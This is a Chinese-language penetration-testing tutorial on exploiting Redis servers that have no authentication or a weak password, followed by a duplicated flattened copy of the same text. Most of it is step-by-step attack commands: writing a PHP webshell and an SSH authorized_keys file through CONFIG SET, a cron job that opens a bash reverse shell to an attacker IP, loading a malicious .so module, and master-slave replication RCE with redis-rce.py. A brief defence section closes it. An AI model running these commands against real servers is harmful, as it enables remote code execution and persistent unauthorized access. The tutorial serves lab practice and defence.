redis数据库在渗透中的利用
字数 1206 2025-08-20 18:16:55

Redis数据库在渗透测试中的利用方法

前言

本文主要讲解在Redis数据库存在未授权访问或弱口令漏洞时的多种利用方式,包括写入Webshell、写入SSH公钥、计划任务反弹Shell、模块加载执行命令以及主从复制RCE等技术。

环境准备

测试环境

  • Redis服务器

    • 操作系统:Ubuntu 20.04 LTS
    • 数据库:Redis
    • Web容器:Apache 2.4.41
    • 脚本语言:PHP 7.4.3
  • 攻击机

    • Kali Linux rolling 2020.2

Redis数据库安装

  1. 下载Redis:从Redis官网获取
  2. 安装步骤:
    tar -zxvf redis-4.0.0.tar.gz
    cd redis-4.0.0/
    sudo make
    cd src
    sudo make install
    
  3. 修改配置文件redis.conf
    • bind 127.0.0.1改为服务器IP地址
    • 设置daemonize yes使Redis作为后台进程运行
  4. 启动Redis:
    redis-server redis-4.0.0/redis.conf
    

Web环境安装

  1. 安装Apache:
    sudo apt install apache2
    service apache2 status
    
  2. 安装PHP:
    sudo apt install php libapache2-mod-php
    php -v
    
  3. 测试PHP解析:
    cd /var/www/
    sudo chmod 777 html/
    cd html/
    echo '<?php phpinfo();' > 1.php
    

连接方式

1. redis-cli

sudo apt install redis
redis-cli -h host -p port -a password
info

2. Redis Desktop Manager

图形化界面工具,可执行Redis命令。

3. 蚁剑Redis数据库插件

  1. 安装:蚁剑→插件市场→Redis管理
  2. 使用:需要先有一个Webshell,通过插件连接Redis

利用方式

1. 写入Webshell

必要条件

  • 知道网站绝对路径
  • 拥有网站目录写入权限

操作步骤

keys *                  # 查看所有键
set x "\n<?php phpinfo();?>\n"  # 创建键并赋值
config get *            # 查看配置
config set dir /var/www/html  # 设置写入目录
config set dbfilename shell.php  # 设置文件名
save                    # 保存写入
del x                   # 删除创建的键
# 还原配置
config set dir /原目录
config set dbfilename dump.rdb

注意事项

  • 不同工具写入\n的效果不同,redis-cli能正确解析为换行
  • 写入会覆盖原有文件内容

2. 写入SSH公钥

必要条件

  • 知道启动服务的用户
  • 拥有.ssh目录
  • 允许基于密钥认证登录

生成密钥方法

  1. 使用ssh-keygen:

    ssh-keygen -t rsa
    

    在公钥内容前后添加换行符

  2. 使用Xshell生成密钥

操作步骤

set x "\n\n公钥内容\n\n"  # 创建键并赋值
config set dir /home/user/.ssh  # 设置.ssh目录
config set dbfilename authorized_keys  # 设置文件名
save
del x
# 还原配置

连接方法

ssh -i 私钥 user@ip

3. 计划任务反弹Shell

必要条件

  • 拥有计划任务目录写权限
  • 目标启动计划服务

操作步骤

set x "\n\n* * * * * bash -i >& /dev/tcp/攻击IP/端口 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
del x
# 还原配置

注意事项

  • CentOS可行,Ubuntu因计划任务不允许脏数据而不可行
  • 需要nc监听:nc -lvp 端口

4. 模块加载执行命令

必要条件

  • 目标服务器上有.so文件
  • Redis支持module命令(Redis 4.0+)

操作步骤

  1. 上传恶意.so文件
  2. 加载模块执行命令:
    module load /tmp/exp.so
    system.exec "whoami"
    module list
    module unload system
    

5. 主从复制RCE

必要条件

  • Redis版本 ≥ 4.x

利用工具

操作步骤

python redis-rce.py -L 本地IP -r 目标IP -f exp.so

原理

  1. 攻击机设置为主节点
  2. 目标Redis为从节点
  3. 通过全量复制将.so文件写入目标
  4. 加载.so文件执行命令

防御建议

  1. 设置强密码认证
  2. 以低权限用户运行Redis
  3. 限制外网访问,设置IP白名单
  4. 定期更新Redis版本

总结

  1. Ubuntu无法通过计划任务利用
  2. 所有写入操作都是覆盖操作,需谨慎
  3. 根据环境选择合适的连接和利用方式
  4. 模块加载和主从复制需要Redis 4.0+版本
  5. 不同工具对特殊字符(如\n)处理方式不同
Redis数据库在渗透测试中的利用方法 前言 本文主要讲解在Redis数据库存在未授权访问或弱口令漏洞时的多种利用方式,包括写入Webshell、写入SSH公钥、计划任务反弹Shell、模块加载执行命令以及主从复制RCE等技术。 环境准备 测试环境 Redis服务器 : 操作系统:Ubuntu 20.04 LTS 数据库:Redis Web容器:Apache 2.4.41 脚本语言:PHP 7.4.3 攻击机 : Kali Linux rolling 2020.2 Redis数据库安装 下载Redis:从 Redis官网 获取 安装步骤: 修改配置文件 redis.conf : 将 bind 127.0.0.1 改为服务器IP地址 设置 daemonize yes 使Redis作为后台进程运行 启动Redis: Web环境安装 安装Apache: 安装PHP: 测试PHP解析: 连接方式 1. redis-cli 2. Redis Desktop Manager 图形化界面工具,可执行Redis命令。 3. 蚁剑Redis数据库插件 安装:蚁剑→插件市场→Redis管理 使用:需要先有一个Webshell,通过插件连接Redis 利用方式 1. 写入Webshell 必要条件 : 知道网站绝对路径 拥有网站目录写入权限 操作步骤 : 注意事项 : 不同工具写入 \n 的效果不同,redis-cli能正确解析为换行 写入会覆盖原有文件内容 2. 写入SSH公钥 必要条件 : 知道启动服务的用户 拥有 .ssh 目录 允许基于密钥认证登录 生成密钥方法 : 使用ssh-keygen: 在公钥内容前后添加换行符 使用Xshell生成密钥 操作步骤 : 连接方法 : 3. 计划任务反弹Shell 必要条件 : 拥有计划任务目录写权限 目标启动计划服务 操作步骤 : 注意事项 : CentOS可行,Ubuntu因计划任务不允许脏数据而不可行 需要nc监听: nc -lvp 端口 4. 模块加载执行命令 必要条件 : 目标服务器上有.so文件 Redis支持module命令(Redis 4.0+) 操作步骤 : 上传恶意.so文件 加载模块执行命令: 5. 主从复制RCE 必要条件 : Redis版本 ≥ 4.x 利用工具 : redis-rce.py 操作步骤 : 原理 : 攻击机设置为主节点 目标Redis为从节点 通过全量复制将.so文件写入目标 加载.so文件执行命令 防御建议 设置强密码认证 以低权限用户运行Redis 限制外网访问,设置IP白名单 定期更新Redis版本 总结 Ubuntu无法通过计划任务利用 所有写入操作都是覆盖操作,需谨慎 根据环境选择合适的连接和利用方式 模块加载和主从复制需要Redis 4.0+版本 不同工具对特殊字符(如 \n )处理方式不同